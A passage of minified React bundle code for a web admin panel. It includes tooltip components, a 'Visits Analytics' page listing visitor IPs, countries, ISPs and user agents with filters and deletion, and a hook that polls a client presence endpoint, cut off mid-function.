window.addEventListener("scroll",x,{capture:!0}),()=>window.removeEventListener("scroll",x,{capture:!0})}},[m.trigger,p]),o.jsx(Ch,{asChild:!0,disableOutsidePointerEvents:!1,onEscapeKeyDown:c,onPointerDownOutside:u,onFocusOutside:x=>x.preventDefault(),onDismiss:p,children:o.jsxs(h8,{"data-state":m.stateAttribute,...h,...d,ref:t,style:{...d.style,"--radix-tooltip-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-tooltip-content-available-width":"var(--radix-popper-available-width)","--radix-tooltip-content-available-height":"var(--radix-popper-available-height)","--radix-tooltip-trigger-width":"var(--radix-popper-anchor-width)","--radix-tooltip-trigger-height":"var(--radix-popper-anchor-height)"},children:[o.jsx(cY,{children:s}),o.jsx(oY,{scope:n,isInside:!0,children:o.jsx(Wv,{id:m.contentId,role:"tooltip",children:i||s})})]})})});dT.displayName=Fl;var hT="TooltipArrow",uY=C.forwardRef((e,t)=>{const{__scopeTooltip:n,...s}=e,i=Xh(n);return lY(hT,n).isInside?null:o.jsx(m8,{...i,...s,ref:t})});uY.displayName=hT;function dY(e,t){const n=Math.abs(t.top-e.y),s=Math.abs(t.bottom-e.y),i=Math.abs(t.right-e.x),c=Math.abs(t.left-e.x);switch(Math.min(n,s,i,c)){case c:return"left";case i:return"right";case n:return"top";case s:return"bottom";default:throw new Error("unreachable")}}function fY(e,t,n=5){const s=[];switch(t){case"top":s.push({x:e.x-n,y:e.y+n},{x:e.x+n,y:e.y+n});break;case"bottom":s.push({x:e.x-n,y:e.y-n},{x:e.x+n,y:e.y-n});break;case"left":s.push({x:e.x+n,y:e.y-n},{x:e.x+n,y:e.y+n});break;case"right":s.push({x:e.x-n,y:e.y-n},{x:e.x-n,y:e.y+n});break}return s}function hY(e){const{top:t,right:n,bottom:s,left:i}=e;return[{x:i,y:t},{x:n,y:t},{x:n,y:s},{x:i,y:s}]}function mY(e,t){const{x:n,y:s}=e;let i=!1;for(let c=0,u=t.length-1;c<t.length;u=c++){const d=t[c],m=t[u],h=d.x,p=d.y,x=m.x,g=m.y;p>s!=g>s&&n<(x-h)*(s-p)/(g-p)+h&&(i=!i)}return i}function pY(e){const t=e.slice();return t.sort((n,s)=>n.x<s.x?-1:n.x>s.x?1:n.y<s.y?-1:n.y>s.y?1:0),xY(t)}function xY(e){if(e.length<=1)return e.slice();const t=[];for(let s=0;s<e.length;s++){const i=e[s];for(;t.length>=2;){const c=t[t.length-1],u=t[t.length-2];if((c.x-u.x)*(i.y-u.y)>=(c.y-u.y)*(i.x-u.x))t.pop();else break}t.push(i)}t.pop();const n=[];for(let s=e.length-1;s>=0;s--){const i=e[s];for(;n.length>=2;){const c=n[n.length-1],u=n[n.length-2];if((c.x-u.x)*(i.y-u.y)>=(c.y-u.y)*(i.x-u.x))n.pop();else break}n.push(i)}return n.pop(),t.length===1&&n.length===1&&t[0].x===n[0].x&&t[0].y===n[0].y?t:t.concat(n)}var gY=lT,vY=cT,yY=uT,mT=dT;const bY=gY,wY=vY,CY=yY,pT=C.forwardRef(({className:e,sideOffset:t=4,...n},s)=>o.jsx(mT,{ref:s,sideOffset:t,className:je("z-50 overflow-hidden rounded-md border bg-popover px-3 py-1.5 text-sm text-popover-foreground shadow-md animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 origin-[--radix-tooltip-content-transform-origin]",e),...n}));pT.displayName=mT.displayName;const SY=()=>o.jsxs(is,{children:[o.jsxs("div",{className:"flex flex-col gap-2 sm:flex-row sm:items-center sm:justify-between",children:[o.jsxs("div",{className:"space-y-1",children:[o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(Ee,{className:"h-5 w-5"}),o.jsx(Ee,{className:"h-7 w-40 sm:w-52"})]}),o.jsx(Ee,{className:"h-4 w-56 sm:w-72"})]}),o.jsx(Ee,{className:"h-9 w-full sm:w-28"})]}),o.jsx("div",{className:"grid gap-3 sm:gap-4 grid-cols-2 lg:grid-cols-4",children:[1,2,3,4].map(e=>o.jsx($t,{className:On,children:o.jsxs(Gt,{className:"p-3 sm:p-4",children:[o.jsx(Ee,{className:"h-3 w-20 mb-2"}),o.jsx(Ee,{className:"h-7 w-16"}),o.jsx(Ee,{className:"h-3 w-24 mt-1"})]})},e))}),o.jsxs($t,{className:On,children:[o.jsxs(Ln,{className:Bl,children:[o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(Ee,{className:"h-5 w-5"}),o.jsx(Ee,{className:"h-6 w-32"})]}),o.jsx(Ee,{className:"h-4 w-64"})]}),o.jsx(Gt,{children:o.jsx("div",{className:"grid gap-4 md:grid-cols-4",children:[1,2,3,4].map(e=>o.jsxs("div",{className:"space-y-2",children:[o.jsx(Ee,{className:"h-4 w-16"}),o.jsx(Ee,{className:"h-10 w-full"})]},e))})})]}),o.jsxs($t,{className:On,children:[o.jsx(Ln,{className:Bl,children:o.jsx("div",{className:"flex items-center justify-between",children:o.jsxs("div",{children:[o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(Ee,{className:"h-5 w-5"}),o.jsx(Ee,{className:"h-6 w-48"})]}),o.jsx(Ee,{className:"h-4 w-64 mt-2"})]})})}),o.jsx(Gt,{children:o.jsx("div",{className:"rounded-md border",children:o.jsxs(Xu,{children:[o.jsx(Wu,{children:o.jsxs($s,{children:[o.jsx(Nt,{className:"w-12",children:o.jsx(Ee,{className:"h-4 w-4"})}),o.jsx(Nt,{children:o.jsx(Ee,{className:"h-4 w-20"})}),o.jsx(Nt,{children:o.jsx(Ee,{className:"h-4 w-16"})}),o.jsx(Nt,{children:o.jsx(Ee,{className:"h-4 w-12"})}),o.jsx(Nt,{children:o.jsx(Ee,{className:"h-4 w-12"})}),o.jsx(Nt,{children:o.jsx(Ee,{className:"h-4 w-20"})}),o.jsx(Nt,{children:o.jsx(Ee,{className:"h-4 w-12"})}),o.jsx(Nt,{children:o.jsx(Ee,{className:"h-4 w-20"})}),o.jsx(Nt,{className:"w-20",children:o.jsx(Ee,{className:"h-4 w-16"})})]})}),o.jsx(Qu,{children:[1,2,3,4,5,6,7,8].map(e=>o.jsxs($s,{children:[o.jsx(wt,{children:o.jsx(Ee,{className:"h-4 w-4"})}),o.jsx(wt,{children:o.jsx(Ee,{className:"h-4 w-32"})}),o.jsx(wt,{children:o.jsxs("div",{className:"flex items-center gap-3",children:[o.jsx(Ee,{className:"h-6 w-8 rounded-md"}),o.jsxs("div",{className:"flex flex-col gap-1",children:[o.jsx(Ee,{className:"h-4 w-24"}),o.jsx(Ee,{className:"h-3 w-8"})]})]})}),o.jsx(wt,{children:o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(Ee,{className:"h-4 w-4"}),o.jsx(Ee,{className:"h-4 w-32"})]})}),o.jsx(wt,{children:o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(Ee,{className:"h-4 w-4"}),o.jsx(Ee,{className:"h-4 w-12"})]})}),o.jsx(wt,{children:o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(Ee,{className:"h-4 w-4"}),o.jsx(Ee,{className:"h-4 w-24"})]})}),o.jsx(wt,{children:o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(Ee,{className:"h-4 w-4"}),o.jsx(Ee,{className:"h-4 w-16"})]})}),o.jsx(wt,{children:o.jsxs("div",{className:"flex items-center gap-1.5",children:[o.jsx(Ee,{className:"h-6 w-20"}),o.jsx(Ee,{className:"h-6 w-6"})]})}),o.jsx(wt,{children:o.jsxs("div",{className:"flex items-center gap-1",children:[o.jsx(Ee,{className:"h-8 w-8"}),o.jsx(Ee,{className:"h-8 w-8"})]})})]},e))})]})})})]})]});function t1({countryCode:e,size:t="md",className:n=""}){const[s,i]=C.useState(!1),c={sm:"w-6 h-4",md:"w-8 h-6",lg:"w-12 h-9",xl:"w-16 h-12"},u=c[t]||c.md,d=[`https://flagsapi.com/${e.toUpperCase()}/flat/64.png`,`https://flagcdn.com/32x24/${e.toLowerCase()}.png`],[m,h]=C.useState(0),p=()=>{m<d.length-1?h(m+1):i(!0)};return s?o.jsx("div",{className:`${u} ${n} bg-gradient-to-br from-blue-100 to-blue-200 rounded-lg border-2 border-blue-300 flex items-center justify-center shadow-sm`,children:o.jsx("span",{className:"text-xs font-bold text-blue-700",children:e.toUpperCase()})}):o.jsx("div",{className:`${u} ${n} relative overflow-hidden rounded-md shadow-md`,children:o.jsx("img",{src:d[m]||"/placeholder.svg",alt:`${e} flag`,className:"w-full h-full object-cover",onError:p,loading:"lazy"})})}function n1({text:e,onCopy:t}){const[n,s]=C.useState(!1),i=()=>{navigator.clipboard.writeText(e).then(()=>{s(!0),t&&t(),setTimeout(()=>s(!1),2e3)})};return o.jsx(bY,{children:o.jsxs(wY,{children:[o.jsx(CY,{asChild:!0,children:o.jsx(De,{variant:"ghost",size:"icon",className:"h-6 w-6 p-0 hover:bg-muted/80",onClick:i,children:n?o.jsx(wl,{className:"h-3.5 w-3.5 text-green-500"}):o.jsx(Cg,{className:"h-3.5 w-3.5 text-muted-foreground"})})}),o.jsx(pT,{side:"top",children:n?"Copied!":"Copy to clipboard"})]})})}function NY({checked:e,className:t,...n}){const s=he.useRef(null);return he.useEffect(()=>{s.current&&(s.current.indeterminate=e==="indeterminate")},[e]),o.jsx(Yh,{ref:s,checked:e==="indeterminate"?!1:e,className:t,...n})}function Bf({title:e,value:t,description:n,icon:s}){return o.jsx(ai,{title:e,value:t,hint:n,icon:s})}function EY({visit:e,isSelected:t,onSelect:n,onViewDetails:s,onDelete:i,isDeleting:c}){const u=d=>{const m=new Date(d),p=Math.floor((new Date-m)/(1e3*60));if(p<1)return"Just now";if(p<60)return`${p}m ago`;if(p<1440){const x=Math.floor(p/60),g=p%60;return`${x}h ${g}m ago`}return m.toLocaleDateString()+" "+m.toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"})};return o.jsxs($s,{className:"hover:bg-muted/50 transition-colors",children:[o.jsx(wt,{className:"w-12 px-4",children:o.jsx(Yh,{checked:t,onCheckedChange:n})}),o.jsx(wt,{className:"font-mono text-sm px-4",children:e.ip_address}),o.jsx(wt,{className:"px-4",children:o.jsxs("div",{className:"flex items-center gap-3",children:[o.jsx(t1,{countryCode:e.country_code,size:"md",className:"flex-shrink-0"}),o.jsxs("div",{className:"flex flex-col min-w-0",children:[o.jsx("span",{className:"font-medium text-sm truncate",children:e.country}),o.jsx(Ot,{variant:"outline",className:"text-xs font-mono w-fit mt-1",children:e.country_code})]})]})}),o.jsx(wt,{className:"px-4",children:o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(Eg,{className:"h-4 w-4 text-muted-foreground flex-shrink-0"}),o.jsx("span",{className:"text-sm truncate",children:e.isp})]})}),o.jsx(wt,{className:"px-4",children:o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(zv,{className:"h-4 w-4 text-muted-foreground flex-shrink-0"}),o.jsx("span",{className:"text-sm uppercase",children:e.language||"N/A"})]})}),o.jsx(wt,{className:"px-4",children:o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(Vv,{className:"h-4 w-4 text-muted-foreground flex-shrink-0"}),o.jsx("span",{className:"text-sm truncate",title:e.user_agent,children:e.user_agent?e.user_agent.includes("Mobile")?"Mobile":e.user_agent.includes("Chrome")?"Chrome":e.user_agent.includes("Firefox")?"Firefox":e.user_agent.includes("Safari")?"Safari":e.user_agent.includes("Edge")?"Edge":"Other":"N/A"})]})}),o.jsx(wt,{className:"px-4",children:o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(Fu,{className:"h-4 w-4 text-muted-foreground flex-shrink-0"}),o.jsx("span",{className:"text-sm",children:u(e.created_at)})]})}),o.jsx(wt,{className:"px-4",children:o.jsxs("div",{className:"flex items-center gap-1.5",children:[o.jsx(Ot,{variant:"secondary",className:"font-mono text-xs",children:e.unique_id}),o.jsx(n1,{text:e.unique_id})]})}),o.jsx(wt,{className:"px-4",children:o.jsxs("div",{className:"flex items-center gap-1",children:[o.jsx(De,{variant:"ghost",size:"sm",onClick:()=>s(e),className:"h-8 w-8 p-0",children:o.jsx(Lv,{className:"h-4 w-4"})}),o.jsx(De,{variant:"ghost",size:"sm",onClick:()=>i(e.id),disabled:c,className:"h-8 w-8 p-0 text-destructive hover:text-destructive hover:bg-destructive/10",children:o.jsx(Fa,{className:"h-4 w-4"})})]})})]})}function jY({visit:e,open:t,onOpenChange:n}){return e?o.jsx(Ah,{open:t,onOpenChange:n,children:o.jsxs(Lu,{className:"w-[95vw] max-w-2xl max-h-[90vh] overflow-y-auto",children:[o.jsxs(Pu,{children:[o.jsxs(Vu,{className:"flex items-center gap-2 text-base sm:text-lg",children:[o.jsx(Sr,{className:"h-4 w-4 sm:h-5 sm:w-5"}),"Visit Details"]}),o.jsx(Uu,{className:"text-xs sm:text-sm",children:"Detailed information about this visit"})]}),o.jsxs("div",{className:"space-y-4 sm:space-y-6",children:[o.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3 sm:gap-4",children:[o.jsxs("div",{className:"space-y-2",children:[o.jsx(Je,{className:"text-xs sm:text-sm font-medium text-muted-foreground",children:"IP Address"}),o.jsx("p",{className:"font-mono text-sm sm:text-lg break-all",children:e.ip_address})]}),o.jsxs("div",{className:"space-y-2",children:[o.jsx(Je,{className:"text-xs sm:text-sm font-medium text-muted-foreground",children:"Unique ID"}),o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx("p",{className:"font-mono text-xs sm:text-sm bg-muted px-2 py-1 rounded break-all flex-1",children:e.unique_id}),o.jsx(n1,{text:e.unique_id})]})]})]}),o.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3 sm:gap-4",children:[o.jsxs("div",{className:"space-y-2",children:[o.jsx(Je,{className:"text-xs sm:text-sm font-medium text-muted-foreground",children:"Country"}),o.jsxs("div",{className:"flex items-center gap-3 sm:gap-4",children:[o.jsx(t1,{countryCode:e.country_code,size:"lg",className:"flex-shrink-0"}),o.jsxs("div",{className:"flex flex-col min-w-0",children:[o.jsx("span",{className:"font-medium text-base sm:text-lg truncate",children:e.country}),o.jsx(Ot,{variant:"outline",className:"w-fit mt-1 text-xs",children:e.country_code})]})]})]}),o.jsxs("div",{className:"space-y-2",children:[o.jsx(Je,{className:"text-xs sm:text-sm font-medium text-muted-foreground",children:"ISP"}),o.jsx("p",{className:"font-medium text-sm sm:text-base break-words",children:e.isp})]})]}),o.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3 sm:gap-4",children:[o.jsxs("div",{className:"space-y-2",children:[o.jsx(Je,{className:"text-xs sm:text-sm font-medium text-muted-foreground",children:"Language"}),o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(zv,{className:"h-4 w-4 text-muted-foreground"}),o.jsx("p",{className:"font-medium text-sm sm:text-base uppercase",children:e.language||"Not specified"})]})]}),o.jsxs("div",{className:"space-y-2",children:[o.jsx(Je,{className:"text-xs sm:text-sm font-medium text-muted-foreground",children:"User Agent"}),o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(Vv,{className:"h-4 w-4 text-muted-foreground flex-shrink-0"}),o.jsx("p",{className:"text-xs sm:text-sm break-all",title:e.user_agent,children:e.user_agent||"Not specified"})]})]})]}),o.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3 sm:gap-4",children:[o.jsxs("div",{className:"space-y-2",children:[o.jsx(Je,{className:"text-xs sm:text-sm font-medium text-muted-foreground",children:"First Visit"}),o.jsx("p",{className:"text-xs sm:text-sm",children:new Date(e.created_at).toLocaleString()})]}),o.jsxs("div",{className:"space-y-2",children:[o.jsx(Je,{className:"text-xs sm:text-sm font-medium text-muted-foreground",children:"Last Updated"}),o.jsx("p",{className:"text-xs sm:text-sm",children:new Date(e.updated_at).toLocaleString()})]})]})]}),o.jsx(zu,{className:"flex-col sm:flex-row gap-2",children:o.jsx(De,{variant:"outline",onClick:()=>n(!1),className:"w-full sm:w-auto text-xs sm:text-sm",children:"Close"})})]})}):null}function AY({selectedCount:e,onClearSelection:t,onDelete:n,isDeleting:s}){const[i,c]=C.useState(!1),u=()=>{n(),c(!1)};return o.jsxs("div",{className:"flex flex-col space-y-3 sm:space-y-0 sm:flex-row sm:items-center sm:justify-between p-3 sm:p-4 bg-muted/50 rounded-lg border",children:[o.jsxs("span",{className:"text-xs sm:text-sm font-medium text-center sm:text-left",children:[e," visit",e!==1?"s":""," selected"]}),o.jsxs("div",{className:"flex flex-col sm:flex-row gap-2 sm:gap-2",children:[o.jsxs(Ah,{open:i,onOpenChange:c,children:[o.jsx(LL,{asChild:!0,children:o.jsxs(De,{variant:"outline",size:"sm",className:"text-destructive hover:text-destructive bg-transparent w-full sm:w-auto text-xs sm:text-sm h-8 sm:h-9",disabled:s,children:[o.jsx(Fa,{className:"h-3 w-3 sm:h-4 sm:w-4 mr-1 sm:mr-2"}),s?"Deleting...":"Delete"]})}),o.jsxs(Lu,{className:"w-[95vw] max-w-md",children:[o.jsxs(Pu,{children:[o.jsx(Vu,{className:"text-base sm:text-lg",children:"Delete Selected Visits"}),o.jsxs(Uu,{className:"text-xs sm:text-sm",children:["Are you sure you want to delete ",e," visit",e!==1?"s":"","? This action cannot be undone."]})]}),o.jsxs(zu,{className:"flex-col sm:flex-row gap-2",children:[o.jsx(De,{variant:"outline",onClick:()=>c(!1),disabled:s,className:"w-full sm:w-auto text-xs sm:text-sm",children:"Cancel"}),o.jsx(De,{variant:"destructive",onClick:u,disabled:s,className:"w-full sm:w-auto text-xs sm:text-sm",children:s?"Deleting...":"Delete"})]})]})]}),o.jsx(De,{variant:"ghost",size:"sm",onClick:t,disabled:s,className:"w-full sm:w-auto text-xs sm:text-sm h-8 sm:h-9",children:"Clear Selection"})]})]})}function TY(){const{success:e,error:t,errorUnlessNotified:n}=yi(),{get:s,apiCall:i}=Qt(),[c,u]=C.useState(!0),[d,m]=C.useState([]),[h,p]=C.useState(""),[x,g]=C.useState("all"),[y,w]=C.useState("all"),[S,N]=C.useState(new Set),[T,E]=C.useState({open:!1,visit:null}),[A,j]=C.useState(!1),[R,D]=C.useState(null),[k,B]=C.useState(!1);C.useEffect(()=>{I()},[]);const I=async(P=!1)=>{P||u(!0);try{const q=await s("/visits");q?.success&&q?.data?m(q.data):P||t("Failed to load visits")}catch(q){console.error("Load visits error:",q),P||t("Failed to load visits")}finally{P||u(!1)}},z=async()=>{j(!0);try{await I(!0),e("Data refreshed successfully")}catch{t("Failed to refresh data")}finally{j(!1)}},U=he.useMemo(()=>{const P=new Set(d.map(fe=>fe.unique_id)).size,q=new Set(d.map(fe=>fe.country)).size,Y=new Set(d.map(fe=>fe.isp)).size,me=new Date().toDateString(),we=d.filter(fe=>new Date(fe.created_at).toDateString()===me).length;return{totalVisits:d.length,uniqueVisitors:P,uniqueCountries:q,uniqueISPs:Y,todayVisits:we}},[d]),$=he.useMemo(()=>[...new Set(d.map(P=>P.country))].sort(),[d]),H=he.useMemo(()=>[...new Set(d.map(P=>P.isp))].sort(),[d]),W=he.useMemo(()=>d.filter(P=>{const q=h===""||P.ip_address.toLowerCase().includes(h.toLowerCase())||P.country.toLowerCase().includes(h.toLowerCase())||P.isp.toLowerCase().includes(h.toLowerCase())||P.unique_id.toLowerCase().includes(h.toLowerCase()),Y=x==="all"||P.country===x,me=y==="all"||P.isp===y;return q&&Y&&me}),[d,h,x,y]),se=P=>{N(P?new Set(W.map(q=>q.id)):new Set)},M=(P,q)=>{const Y=new Set(S);q?Y.add(P):Y.delete(P),N(Y)},O=P=>{E({open:!0,visit:P})},V=async P=>{D(P);try{const q=await i(`/visits/${P}`,{method:"DELETE"},!1,"");if(q?.success){e("Visit deleted successfully"),m(d.filter(me=>me.id!==P));const Y=new Set(S);Y.delete(P),N(Y)}else t(q?.message||"Failed to delete visit")}catch(q){console.error("Delete visit error:",q),n(q,"Failed to delete visit")}finally{D(null)}},Z=async()=>{const P=Array.from(S);B(!0);try{const q=await i("/visits/bulk/destroy",{method:"POST",body:JSON.stringify({visit_ids:P})},!1,"");q?.success?(e(`Successfully deleted ${q.deleted_count||P.length} visit(s)`),m(d.filter(Y=>!P.includes(Y.id))),N(new Set)):t(q?.message||"Failed to delete visits")}catch(q){console.error("Bulk delete error:",q),n(q,"Failed to delete visits")}finally{B(!1)}},ce=W.length>0&&S.size===W.length,F=S.size>0&&S.size<W.length;return c?o.jsx(SY,{}):o.jsxs(is,{children:[o.jsx(yo,{title:"Visits Analytics",description:"Monitor and analyze visitor traffic to your application",icon:Sr,actions:o.jsxs(De,{variant:"outline",size:"sm",onClick:z,disabled:A,className:"w-full sm:w-auto",children:[o.jsx(bi,{className:`h-3 w-3 sm:h-4 sm:w-4 mr-1 sm:mr-2 ${A?"animate-spin":""}`}),A?"Refreshing...":"Refresh"]})}),o.jsxs("div",{className:"grid gap-3 sm:gap-4 lg:gap-6 grid-cols-2 lg:grid-cols-4",children:[o.jsx(Bf,{title:"Total Visits",value:U.totalVisits.toLocaleString(),description:"All time visits",icon:Sr,color:"blue"}),o.jsx(Bf,{title:"Unique Visitors",value:U.uniqueVisitors.toLocaleString(),description:"Distinct visitors",icon:mu,color:"green"}),o.jsx(Bf,{title:"Countries",value:U.uniqueCountries.toLocaleString(),description:"Different countries",icon:ul,color:"purple"}),o.jsx(Bf,{title:"ISP Providers",value:U.uniqueISPs.toLocaleString(),description:"Network providers",icon:Eg,color:"orange"})]}),o.jsxs($t,{className:On,children:[o.jsxs(Ln,{className:Bl,children:[o.jsxs(Pa,{className:"flex items-center gap-2 text-sm sm:text-base",children:[o.jsx(y9,{className:"h-4 w-4 sm:h-5 sm:w-5"}),"Filters & Search"]}),o.jsx(ro,{className:"text-xs sm:text-sm",children:"Filter and search through visit records"})]}),o.jsx(Gt,{className:"pt-0",children:o.jsxs("div",{className:"grid gap-3 sm:gap-4 grid-cols-1 md:grid-cols-2 lg:grid-cols-4",children:[o.jsxs("div",{className:"space-y-2",children:[o.jsx("label",{className:"text-xs sm:text-sm font-medium",children:"Search"}),o.jsxs("div",{className:"relative",children:[o.jsx(vj,{className:"absolute left-3 top-1/2 transform -translate-y-1/2 h-3 w-3 sm:h-4 sm:w-4 text-muted-foreground"}),o.jsx(qt,{placeholder:"Search IP, country, ISP...",value:h,onChange:P=>p(P.target.value),className:"pl-8 sm:pl-10 text-xs sm:text-sm h-8 sm:h-10"})]})]}),o.jsxs("div",{className:"space-y-2",children:[o.jsx("label",{className:"text-xs sm:text-sm font-medium",children:"Country"}),o.jsxs(dv,{value:x,onValueChange:g,children:[o.jsx(oh,{className:"h-8 sm:h-10 text-xs sm:text-sm",children:o.jsx(fv,{placeholder:"All countries"})}),o.jsxs(hv,{children:[o.jsx(Qc,{value:"all",children:"All Countries"}),$.map(P=>o.jsx(Qc,{value:P,children:P},P))]})]})]}),o.jsxs("div",{className:"space-y-2",children:[o.jsx("label",{className:"text-xs sm:text-sm font-medium",children:"ISP"}),o.jsxs(dv,{value:y,onValueChange:w,children:[o.jsx(oh,{className:"h-8 sm:h-10 text-xs sm:text-sm",children:o.jsx(fv,{placeholder:"All ISPs"})}),o.jsxs(hv,{children:[o.jsx(Qc,{value:"all",children:"All ISPs"}),H.map(P=>o.jsx(Qc,{value:P,children:P},P))]})]})]}),o.jsxs("div",{className:"space-y-2 md:col-span-2 lg:col-span-1",children:[o.jsx("label",{className:"text-xs sm:text-sm font-medium",children:"Actions"}),o.jsx("div",{className:"flex gap-2",children:o.jsx(De,{variant:"outline",size:"sm",onClick:()=>{p(""),g("all"),w("all")},className:"w-full sm:w-auto text-xs sm:text-sm h-8 sm:h-10",children:"Clear Filters"})})]})]})})]}),S.size>0&&o.jsx(AY,{selectedCount:S.size,onClearSelection:()=>N(new Set),onDelete:Z,isDeleting:k}),o.jsxs($t,{className:On,children:[o.jsx(Ln,{className:Bl,children:o.jsx("div",{className:"flex items-center justify-between",children:o.jsxs("div",{children:[o.jsxs(Pa,{className:"flex items-center gap-2 text-base sm:text-lg",children:[o.jsx(G7,{className:"h-4 w-4 sm:h-5 sm:w-5"}),"Visit Records (",W.length,")"]}),o.jsx(ro,{className:"text-xs sm:text-sm",children:"Detailed list of all visitor sessions"})]})})}),o.jsxs(Gt,{className:"p-0",children:[o.jsx("div",{className:"block lg:hidden",children:W.length===0?o.jsxs("div",{className:"flex flex-col items-center gap-2 text-muted-foreground py-8 px-4",children:[o.jsx(Sr,{className:"h-6 w-6 opacity-50"}),o.jsx("p",{className:"text-xs text-center",children:"No visits found matching your criteria"})]}):o.jsx("div",{className:"space-y-2 p-3",children:W.map(P=>o.jsx($t,{className:"border border-muted/50",children:o.jsx(Gt,{className:"p-3",children:o.jsxs("div",{className:"flex items-start justify-between",children:[o.jsxs("div",{className:"flex items-start gap-3 flex-1 min-w-0",children:[o.jsx(Yh,{checked:S.has(P.id),onCheckedChange:q=>M(P.id,q),className:"mt-0.5"}),o.jsxs("div",{className:"flex-1 min-w-0 space-y-2",children:[o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsx(t1,{countryCode:P.country_code,size:"sm",className:"flex-shrink-0"}),o.jsxs("div",{className:"flex-1 min-w-0",children:[o.jsx("p",{className:"font-medium text-sm truncate",children:P.country}),o.jsx("p",{className:"font-mono text-xs text-muted-foreground truncate",children:P.ip_address})]})]}),o.jsxs("div",{className:"flex items-center gap-4 text-xs text-muted-foreground",children:[o.jsxs("div",{className:"flex items-center gap-1",children:[o.jsx(Eg,{className:"h-3 w-3"}),o.jsx("span",{className:"truncate max-w-[100px]",children:P.isp})]}),o.jsxs("div",{className:"flex items-center gap-1",children:[o.jsx(Fu,{className:"h-3 w-3"}),o.jsx("span",{children:(()=>{const q=new Date(P.created_at),me=Math.floor((new Date-q)/(1e3*60));return me<1?"Just now":me<60?`${me}m ago`:me<1440?`${Math.floor(me/60)}h ago`:q.toLocaleDateString()})()})]})]}),(P.language||P.user_agent)&&o.jsxs("div",{className:"flex items-center gap-4 text-xs text-muted-foreground",children:[P.language&&o.jsxs("div",{className:"flex items-center gap-1",children:[o.jsx(zv,{className:"h-3 w-3"}),o.jsx("span",{className:"uppercase",children:P.language})]}),P.user_agent&&o.jsxs("div",{className:"flex items-center gap-1",children:[o.jsx(Vv,{className:"h-3 w-3"}),o.jsx("span",{className:"truncate max-w-[120px]",title:P.user_agent,children:P.user_agent.includes("Mobile")?"Mobile":P.user_agent.includes("Chrome")?"Chrome":P.user_agent.includes("Firefox")?"Firefox":P.user_agent.includes("Safari")?"Safari":P.user_agent.includes("Edge")?"Edge":"Other"})]})]}),o.jsxs("div",{className:"flex items-center gap-1",children:[o.jsx(Ot,{variant:"secondary",className:"font-mono text-xs px-1 py-0 h-4 truncate max-w-[120px]",children:P.unique_id}),o.jsx(n1,{text:P.unique_id})]})]})]}),o.jsxs("div",{className:"flex items-center gap-1 ml-2",children:[o.jsx(De,{variant:"ghost",size:"sm",onClick:()=>O(P),className:"h-6 w-6 p-0",children:o.jsx(Lv,{className:"h-3 w-3"})}),o.jsx(De,{variant:"ghost",size:"sm",onClick:()=>V(P.id),disabled:R===P.id,className:"h-6 w-6 p-0 text-destructive hover:text-destructive hover:bg-destructive/10",children:o.jsx(Fa,{className:"h-3 w-3"})})]})]})})},P.id))})}),o.jsx("div",{className:"hidden lg:block overflow-x-auto",children:o.jsx("div",{className:"min-w-[800px]",children:o.jsxs(Xu,{children:[o.jsx(Wu,{children:o.jsxs($s,{children:[o.jsx(Nt,{className:"w-12 px-4",children:o.jsx(NY,{checked:ce?!0:F?"indeterminate":!1,className:F?"opacity-90":"",onCheckedChange:se})}),o.jsx(Nt,{className:"min-w-[120px] px-4",children:"IP Address"}),o.jsx(Nt,{className:"min-w-[140px] px-4",children:"Country"}),o.jsx(Nt,{className:"min-w-[120px] px-4",children:"ISP"}),o.jsx(Nt,{className:"min-w-[80px] px-4",children:"Language"}),o.jsx(Nt,{className:"min-w-[120px] px-4",children:"User Agent"}),o.jsx(Nt,{className:"min-w-[100px] px-4",children:"Time"}),o.jsx(Nt,{className:"min-w-[120px] px-4",children:"Visitor ID"}),o.jsx(Nt,{className:"w-20 px-4",children:"Actions"})]})}),o.jsx(Qu,{children:W.length===0?o.jsx($s,{children:o.jsx(wt,{colSpan:9,className:"text-center py-8",children:o.jsxs("div",{className:"flex flex-col items-center gap-2 text-muted-foreground",children:[o.jsx(Sr,{className:"h-8 w-8 opacity-50"}),o.jsx("p",{className:"text-sm",children:"No visits found matching your criteria"})]})})}):W.map(P=>o.jsx(EY,{visit:P,isSelected:S.has(P.id),onSelect:q=>M(P.id,q),onViewDetails:O,onDelete:V,isDeleting:R===P.id},P.id))})]})})})]})]}),o.jsx(jY,{visit:T.visit,open:T.open,onOpenChange:P=>E({open:P,visit:P?T.visit:null})})]})}function PN(){return o.jsx(o.Fragment,{children:o.jsx(TY,{})})}const DY=3e3,zN={online:!1,last_seen_at:null,seconds_since_seen:null,last_page:null,loading:!0};function RY(e){const[t,n]=C.useState(zN),s=C.useCallback(async()=>{if(!e){n({...zN,loading:!1});return}try{const c=(await bt.get(`/clients/unique/${e}/presence`))?.data,u=c?.data??c;n({online:!!u?.online,last_seen_at:u?.last_seen_at??null,seconds_since_seen:u?.seconds_since_seen??null,last_page:u?.last_page??null,loading:!1})}catch{n(i=>({...i,online:!1,loading:!1}))}},[e]);return C.useEffect(()=>{if(s(),!e)return;const i=()=>{document.visibilityState==="visible"&&s()};i();const c=setInterval(i,DY);return()=>clearInterval(c)},[e,s]),t}function _Y(e,t=null){if(e==null&&t){const 